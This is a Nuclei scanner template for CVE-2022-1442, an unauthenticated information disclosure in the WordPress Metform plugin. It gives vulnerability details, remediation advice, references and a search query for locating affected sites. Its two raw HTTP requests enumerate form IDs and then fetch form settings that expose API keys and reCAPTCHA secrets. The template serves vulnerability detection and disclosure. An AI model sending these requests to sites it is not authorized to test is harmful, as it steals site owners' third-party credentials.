nuclei-templates/http/cves/2022/CVE-2022-1442.yaml

68 lines
2.3 KiB
YAML

id: CVE-2022-1442
info:
name: WordPress Metform <=2.1.3 - Information Disclosure
author: theamanrawat
severity: high
description: |
WordPress Metform plugin through 2.1.3 is susceptible to information disclosure due to improper access control in the ~/core/forms/action.php file. An attacker can view all API keys and secrets of integrated third-party APIs such as that of PayPal, Stripe, Mailchimp, Hubspot, HelpScout, reCAPTCHA and many more.
remediation: |
Upgrade to the latest version of the Metform plugin (>=2.1.4) to fix the information disclosure vulnerability.
reference:
- https://gist.github.com/Xib3rR4dAr/6e6c6e5fa1f8818058c7f03de1eda6bf
- https://wpscan.com/vulnerability/9f3fcdd4-9ddc-45d5-a4af-e58634813c2b
- https://wordpress.org/plugins/metform/advanced/
- https://nvd.nist.gov/vuln/detail/CVE-2022-1442
- https://plugins.trac.wordpress.org/changeset/2711944/metform/trunk/core/forms/action.php
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-1442
cwe-id: CWE-862
epss-score: 0.04045
epss-percentile: 0.91135
cpe: cpe:2.3:a:wpmet:metform_elementor_contact_form_builder:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: wpmet
product: metform_elementor_contact_form_builder
framework: wordpress
google-query: inurl:/wp-content/plugins/metform
tags: wpscan,cve2022,wordpress,wp-plugin,disclosure,unauth,metform,cve,wp,wpmet
http:
- raw:
- |
GET /wp-json/metform/v1/forms/templates/0 HTTP/1.1
Host: {{Hostname}}
- |
GET /wp-json/metform/v1/forms/get/{{id}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "mf_recaptcha_secret_key"
- "admin_email_from"
condition: and
- type: word
part: header_2
words:
- "application/json"
- type: status
status:
- 200
extractors:
- type: regex
name: id
group: 1
regex:
- '<option value=\"([0-9]+)\"'
internal: true
# digest: 4a0a00473045022027f20e9fdec4f4f5fd5e46d13bc899a8b8319bfb671fe313e5b3ad7dc4854910022100ec52a39bd2df64d82f93c3ddf612901327fe6fb1a7f64a4b973ce757947f35de:922c64590222798bb761d5b6d8e72950